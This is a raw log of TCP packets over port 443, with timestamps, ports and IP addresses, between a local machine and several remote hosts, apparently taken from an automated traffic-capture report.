Aug 27, 2024 13:05:52.938256979 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.938311100 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.938316107 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.938708067 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.939040899 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.939058065 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.939110994 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.939116001 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.939512968 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.939647913 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.939661026 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.939694881 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.939699888 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.939727068 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.939739943 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.941214085 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.941227913 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.941291094 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.941296101 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.941407919 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.941422939 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.941452980 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.941457987 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.941478014 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.941503048 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.023936987 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.023948908 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.024102926 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.024108887 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.024383068 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.024403095 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.024447918 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.024452925 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.024465084 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.024502993 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.026032925 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.026045084 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.026146889 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.026151896 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.026190996 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.028955936 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.028969049 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.029047966 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.029056072 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.029750109 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.029766083 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.029808998 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.029814959 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.029831886 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.029860020 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.030376911 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.030390978 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.030441999 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.030447006 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.030464888 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.030483961 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.031735897 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.031749964 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.031802893 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.031806946 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.032262087 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.032279015 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.032335043 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.032341003 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.033384085 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.114533901 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.114551067 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.114624977 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.114630938 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.115003109 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.115019083 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.115076065 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.115081072 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.115494967 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.116780043 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.116803885 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.116837025 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.116847038 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.116858006 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.116885900 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.119704008 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.119716883 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.119776964 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.119782925 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.120156050 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.120373011 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.120385885 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.120439053 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.120443106 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.120805025 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.121104002 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.121118069 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.121174097 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.121179104 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.121547937 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.122548103 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.122561932 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.122620106 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.122623920 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.122940063 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.122955084 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.123007059 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.123012066 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.123374939 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.205302000 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.205317020 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.205415964 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.205421925 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.205780983 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.205801010 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.205851078 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.205854893 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.205878973 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.205904961 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.207468033 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.207482100 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.207539082 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.207542896 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.207669973 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.210988998 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.211004019 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.211057901 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.211064100 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.211424112 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.211925983 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.211939096 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.211991072 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.211996078 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.212367058 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.214973927 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.214996099 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.215046883 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.215050936 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.215364933 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.215379953 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.215413094 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.215436935 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.215441942 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.215466976 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.215492964 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:53.215667009 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.215981007 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:53.663254023 CEST	49737	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:53.663301945 CEST	443	49737	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:53.663372993 CEST	49737	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:53.664318085 CEST	49737	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:53.664331913 CEST	443	49737	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.146549940 CEST	443	49737	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.146866083 CEST	49737	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.146888971 CEST	443	49737	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.146977901 CEST	49737	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.146982908 CEST	443	49737	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.147918940 CEST	443	49737	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.147988081 CEST	49737	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.239636898 CEST	49737	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.239725113 CEST	443	49737	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.239758968 CEST	49737	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.284506083 CEST	443	49737	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.287533045 CEST	49737	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.287547112 CEST	443	49737	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.335323095 CEST	49737	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.386416912 CEST	443	49737	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.386482954 CEST	443	49737	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.386646032 CEST	49737	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.386770010 CEST	49737	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.386787891 CEST	443	49737	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.386812925 CEST	49737	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.386818886 CEST	443	49737	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.389255047 CEST	49738	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.389275074 CEST	443	49738	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.389348984 CEST	49738	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.389790058 CEST	49738	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.389801025 CEST	443	49738	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.869247913 CEST	443	49738	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.869534016 CEST	49738	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.869563103 CEST	443	49738	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.869638920 CEST	49738	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.869643927 CEST	443	49738	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.870567083 CEST	443	49738	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.870645046 CEST	49738	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.883871078 CEST	49738	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.883934975 CEST	443	49738	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.884119034 CEST	49738	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.928499937 CEST	443	49738	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.931736946 CEST	49738	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:54.931742907 CEST	443	49738	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:54.983084917 CEST	49738	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:55.041496992 CEST	443	49738	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:55.041614056 CEST	443	49738	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:55.041660070 CEST	49738	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:55.041726112 CEST	49738	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:55.041740894 CEST	443	49738	185.199.111.133	192.168.2.4
Aug 27, 2024 13:05:55.041752100 CEST	49738	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:05:55.041757107 CEST	443	49738	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:19.825524092 CEST	49747	443	192.168.2.4	140.82.121.3
Aug 27, 2024 13:07:19.825618029 CEST	443	49747	140.82.121.3	192.168.2.4
Aug 27, 2024 13:07:19.825704098 CEST	49747	443	192.168.2.4	140.82.121.3
Aug 27, 2024 13:07:19.826270103 CEST	49747	443	192.168.2.4	140.82.121.3
Aug 27, 2024 13:07:19.826308012 CEST	443	49747	140.82.121.3	192.168.2.4
Aug 27, 2024 13:07:20.458353043 CEST	443	49747	140.82.121.3	192.168.2.4
Aug 27, 2024 13:07:20.458566904 CEST	49747	443	192.168.2.4	140.82.121.3
Aug 27, 2024 13:07:20.458614111 CEST	443	49747	140.82.121.3	192.168.2.4
Aug 27, 2024 13:07:20.458720922 CEST	49747	443	192.168.2.4	140.82.121.3
Aug 27, 2024 13:07:20.458733082 CEST	443	49747	140.82.121.3	192.168.2.4
Aug 27, 2024 13:07:20.459757090 CEST	443	49747	140.82.121.3	192.168.2.4
Aug 27, 2024 13:07:20.459820032 CEST	49747	443	192.168.2.4	140.82.121.3
Aug 27, 2024 13:07:20.477685928 CEST	49747	443	192.168.2.4	140.82.121.3
Aug 27, 2024 13:07:20.477766991 CEST	443	49747	140.82.121.3	192.168.2.4
Aug 27, 2024 13:07:20.477863073 CEST	49747	443	192.168.2.4	140.82.121.3
Aug 27, 2024 13:07:20.520503044 CEST	443	49747	140.82.121.3	192.168.2.4
Aug 27, 2024 13:07:20.525733948 CEST	49747	443	192.168.2.4	140.82.121.3
Aug 27, 2024 13:07:20.525754929 CEST	443	49747	140.82.121.3	192.168.2.4
Aug 27, 2024 13:07:20.573447943 CEST	49747	443	192.168.2.4	140.82.121.3
Aug 27, 2024 13:07:20.850255966 CEST	443	49747	140.82.121.3	192.168.2.4
Aug 27, 2024 13:07:20.850352049 CEST	443	49747	140.82.121.3	192.168.2.4
Aug 27, 2024 13:07:20.850424051 CEST	443	49747	140.82.121.3	192.168.2.4
Aug 27, 2024 13:07:20.850533009 CEST	49747	443	192.168.2.4	140.82.121.3
Aug 27, 2024 13:07:20.850533962 CEST	49747	443	192.168.2.4	140.82.121.3
Aug 27, 2024 13:07:20.850649118 CEST	49747	443	192.168.2.4	140.82.121.3
Aug 27, 2024 13:07:20.850694895 CEST	443	49747	140.82.121.3	192.168.2.4
Aug 27, 2024 13:07:20.850729942 CEST	49747	443	192.168.2.4	140.82.121.3
Aug 27, 2024 13:07:20.850745916 CEST	443	49747	140.82.121.3	192.168.2.4
Aug 27, 2024 13:07:20.852243900 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:20.852279902 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:20.852361917 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:20.852566004 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:20.852580070 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.326848030 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.327220917 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.327244043 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.327265024 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.327269077 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.328284979 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.328347921 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.329375029 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.329437017 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.329447031 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.372509956 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.376863003 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.376871109 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.424711943 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.527702093 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.527772903 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.527813911 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.527846098 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.528000116 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.528000116 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.528017044 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.535803080 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.535907030 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.535914898 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.535979986 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.536011934 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.536042929 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.536096096 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.536104918 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.536190033 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.536566019 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.536634922 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.542675018 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.590610027 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.618257046 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.618412971 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.618607044 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.618627071 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.618921041 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.618973017 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.618999004 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.619005919 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.619055986 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.619113922 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.619122982 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.619178057 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.619885921 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.619939089 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.619971037 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.619998932 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.620033026 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.620043993 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.620126963 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.626449108 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.626538992 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.626571894 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.626621962 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.626689911 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:21.626691103 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.626796961 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.627157927 CEST	49748	443	192.168.2.4	185.199.111.133
Aug 27, 2024 13:07:21.627172947 CEST	443	49748	185.199.111.133	192.168.2.4
Aug 27, 2024 13:07:25.028517008 CEST	49749	443	192.168.2.4	45.125.66.18
Aug 27, 2024 13:07:25.028558969 CEST	443	49749	45.125.66.18	192.168.2.4
Aug 27, 2024 13:07:25.028630018 CEST	49749	443	192.168.2.4	45.125.66.18
Aug 27, 2024 13:07:25.032730103 CEST	49749	443	192.168.2.4	45.125.66.18
Aug 27, 2024 13:07:25.032743931 CEST	443	49749	45.125.66.18	192.168.2.4
Aug 27, 2024 13:07:25.696743965 CEST	443	49749	45.125.66.18	192.168.2.4
Aug 27, 2024 13:07:25.696858883 CEST	49749	443	192.168.2.4	45.125.66.18
Aug 27, 2024 13:07:25.707931042 CEST	49749	443	192.168.2.4	45.125.66.18
Aug 27, 2024 13:07:25.707950115 CEST	443	49749	45.125.66.18	192.168.2.4
Aug 27, 2024 13:07:25.708223104 CEST	443	49749	45.125.66.18	192.168.2.4
Aug 27, 2024 13:07:25.753531933 CEST	49749	443	192.168.2.4	45.125.66.18
Aug 27, 2024 13:07:26.838311911 CEST	49749	443	192.168.2.4	45.125.66.18
Aug 27, 2024 13:07:26.838365078 CEST	49749	443	192.168.2.4	45.125.66.18
Aug 27, 2024 13:07:26.838382959 CEST	443	49749	45.125.66.18	192.168.2.4
Aug 27, 2024 13:07:27.166414022 CEST	443	49749	45.125.66.18	192.168.2.4
Aug 27, 2024 13:07:27.166430950 CEST	443	49749	45.125.66.18	192.168.2.4
Aug 27, 2024 13:07:27.166493893 CEST	49749	443	192.168.2.4	45.125.66.18
Aug 27, 2024 13:07:27.166517019 CEST	443	49749	45.125.66.18	192.168.2.4
Aug 27, 2024 13:07:27.166590929 CEST	49749	443	192.168.2.4	45.125.66.18
Aug 27, 2024 13:07:27.167021036 CEST	443	49749	45.125.66.18	192.168.2.4
Aug 27, 2024 13:07:27.167073965 CEST	443	49749	45.125.66.18	192.168.2.4
Aug 27, 2024 13:07:27.167121887 CEST	49749	443	192.168.2.4	45.125.66.18
Aug 27, 2024 13:07:27.169718981 CEST	49749	443	192.168.2.4	45.125.66.18
Aug 27, 2024 13:07:27.169734955 CEST	443	49749	45.125.66.18	192.168.2.4
Aug 27, 2024 13:07:29.679976940 CEST	49750	443	192.168.2.4	3.211.178.193
Aug 27, 2024 13:07:29.680015087 CEST	443	49750	3.211.178.193	192.168.2.4
Aug 27, 2024 13:07:29.680083990 CEST	49750	443	192.168.2.4	3.211.178.193
Aug 27, 2024 13:07:29.680411100 CEST	49750	443	192.168.2.4	3.211.178.193
Aug 27, 2024 13:07:29.680425882 CEST	443	49750	3.211.178.193	192.168.2.4
Aug 27, 2024 13:07:30.379168987 CEST	443	49750	3.211.178.193	192.168.2.4
Aug 27, 2024 13:07:30.379359961 CEST	49750	443	192.168.2.4	3.211.178.193
Aug 27, 2024 13:07:30.379371881 CEST	443	49750	3.211.178.193	192.168.2.4
Aug 27, 2024 13:07:30.379513025 CEST	49750	443	192.168.2.4	3.211.178.193
Aug 27, 2024 13:07:30.379517078 CEST	443	49750	3.211.178.193	192.168.2.4
Aug 27, 2024 13:07:30.380469084 CEST	443	49750	3.211.178.193	192.168.2.4
Aug 27, 2024 13:07:30.380635977 CEST	49750	443	192.168.2.4	3.211.178.193
Aug 27, 2024 13:07:30.381537914 CEST	49750	443	192.168.2.4	3.211.178.193
Aug 27, 2024 13:07:30.381594896 CEST	443	49750	3.211.178.193	192.168.2.4
Aug 27, 2024 13:07:30.381673098 CEST	49750	443	192.168.2.4	3.211.178.193
Aug 27, 2024 13:07:30.381678104 CEST	443	49750	3.211.178.193	192.168.2.4
Aug 27, 2024 13:07:30.429136038 CEST	49750	443	192.168.2.4	3.211.178.193
Aug 27, 2024 13:07:30.500083923 CEST	443	49750	3.211.178.193	192.168.2.4
Aug 27, 2024 13:07:30.500174999 CEST	443	49750	3.211.178.193	192.168.2.4
Aug 27, 2024 13:07:30.500225067 CEST	49750	443	192.168.2.4	3.211.178.193
